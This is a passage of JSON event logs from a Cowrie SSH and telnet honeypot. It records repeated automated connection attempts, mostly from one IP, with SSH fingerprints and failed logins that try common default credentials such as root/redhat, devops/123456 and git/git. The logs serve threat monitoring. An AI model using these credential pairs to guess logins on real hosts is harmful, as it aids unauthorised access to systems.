":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:13.645097Z","src_ip":"192.109.200.237","session":"9a66851ff91a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.11433458328247,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:13.874106Z","src_ip":"50.6.8.71","session":"b5ce554cba0c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwert","message":"login attempt [root/12345qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:13.964004Z","src_ip":"192.109.200.237","session":"9a66851ff91a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.222.148.25","src_port":48050,"dst_ip":"10.17.0.5","dst_port":23,"session":"77b14482b52a","protocol":"telnet","message":"New connection: 67.222.148.25:48050 (10.17.0.5:23) [session: 77b14482b52a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:14.467478Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:15.049392Z","src_ip":"192.109.200.237","session":"9a66851ff91a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39026,"dst_ip":"159.203.135.109","dst_port":22,"session":"20a33ab8bc20","protocol":"ssh","message":"New connection: 192.109.200.237:39026 (159.203.135.109:22) [session: 20a33ab8bc20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:17.168624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:17.176742Z","src_ip":"192.109.200.237","session":"20a33ab8bc20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:17.265261Z","src_ip":"192.109.200.237","session":"20a33ab8bc20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user1234","message":"login attempt [user/user1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:17.512510Z","src_ip":"192.109.200.237","session":"20a33ab8bc20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:18.597170Z","src_ip":"192.109.200.237","session":"20a33ab8bc20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36782,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f584bc6d673","protocol":"ssh","message":"New connection: 192.109.200.237:36782 (159.203.135.109:22) [session: 4f584bc6d673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:20.714806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:20.723742Z","src_ip":"192.109.200.237","session":"4f584bc6d673","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:20.808276Z","src_ip":"192.109.200.237","session":"4f584bc6d673","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:21.178256Z","src_ip":"192.109.200.237","session":"4f584bc6d673","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:22.265920Z","src_ip":"192.109.200.237","session":"4f584bc6d673","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36790,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc3362217db3","protocol":"ssh","message":"New connection: 192.109.200.237:36790 (159.203.135.109:22) [session: bc3362217db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:24.474465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:24.479847Z","src_ip":"192.109.200.237","session":"bc3362217db3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:24.564852Z","src_ip":"192.109.200.237","session":"bc3362217db3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:24.819326Z","src_ip":"192.109.200.237","session":"bc3362217db3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.176.167.63","src_port":58082,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8955e2d99e1","protocol":"telnet","message":"New connection: 91.176.167.63:58082 (10.17.0.5:23) [session: e8955e2d99e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:25.804468Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:25.905906Z","src_ip":"192.109.200.237","session":"bc3362217db3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36806,"dst_ip":"159.203.135.109","dst_port":22,"session":"027559963e6d","protocol":"ssh","message":"New connection: 192.109.200.237:36806 (159.203.135.109:22) [session: 027559963e6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:28.077840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:28.083384Z","src_ip":"192.109.200.237","session":"027559963e6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:28.166884Z","src_ip":"192.109.200.237","session":"027559963e6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:28.416478Z","src_ip":"192.109.200.237","session":"027559963e6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:29.502777Z","src_ip":"192.109.200.237","session":"027559963e6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45332,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3bd76e59818","protocol":"ssh","message":"New connection: 192.109.200.237:45332 (159.203.135.109:22) [session: f3bd76e59818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:31.548088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:31.553035Z","src_ip":"192.109.200.237","session":"f3bd76e59818","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.87145400047302,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:31.613634Z","src_ip":"50.6.8.71","session":"61b5c6bc2736","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:31.718676Z","src_ip":"192.109.200.237","session":"f3bd76e59818","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.890719175338745,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:31.838659Z","src_ip":"50.6.8.71","session":"05763c0d9de9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"******","message":"login attempt [ubuntu/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:32.062783Z","src_ip":"192.109.200.237","session":"f3bd76e59818","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:33.160387Z","src_ip":"192.109.200.237","session":"f3bd76e59818","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45334,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c91dd05d033","protocol":"ssh","message":"New connection: 192.109.200.237:45334 (159.203.135.109:22) [session: 0c91dd05d033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:35.409946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:35.414975Z","src_ip":"192.109.200.237","session":"0c91dd05d033","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:35.497271Z","src_ip":"192.109.200.237","session":"0c91dd05d033","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:35.744410Z","src_ip":"192.109.200.237","session":"0c91dd05d033","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":33510,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c152a3432b1","protocol":"ssh","message":"New connection: 103.77.242.62:33510 (10.17.0.5:22) [session: 6c152a3432b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:35.989589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:35.993526Z","src_ip":"103.77.242.62","session":"6c152a3432b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:36.239620Z","src_ip":"103.77.242.62","session":"6c152a3432b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:36.829387Z","src_ip":"192.109.200.237","session":"0c91dd05d033","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"flatron","message":"login attempt [root/flatron] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:36.978262Z","src_ip":"103.77.242.62","session":"6c152a3432b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:38.226944Z","src_ip":"103.77.242.62","session":"6c152a3432b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.428601503372192,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:38.232955Z","src_ip":"91.176.167.63","session":"e8955e2d99e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45350,"dst_ip":"159.203.135.109","dst_port":22,"session":"3aa52af0751a","protocol":"ssh","message":"New connection: 192.109.200.237:45350 (159.203.135.109:22) [session: 3aa52af0751a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:38.850935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:38.855565Z","src_ip":"192.109.200.237","session":"3aa52af0751a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.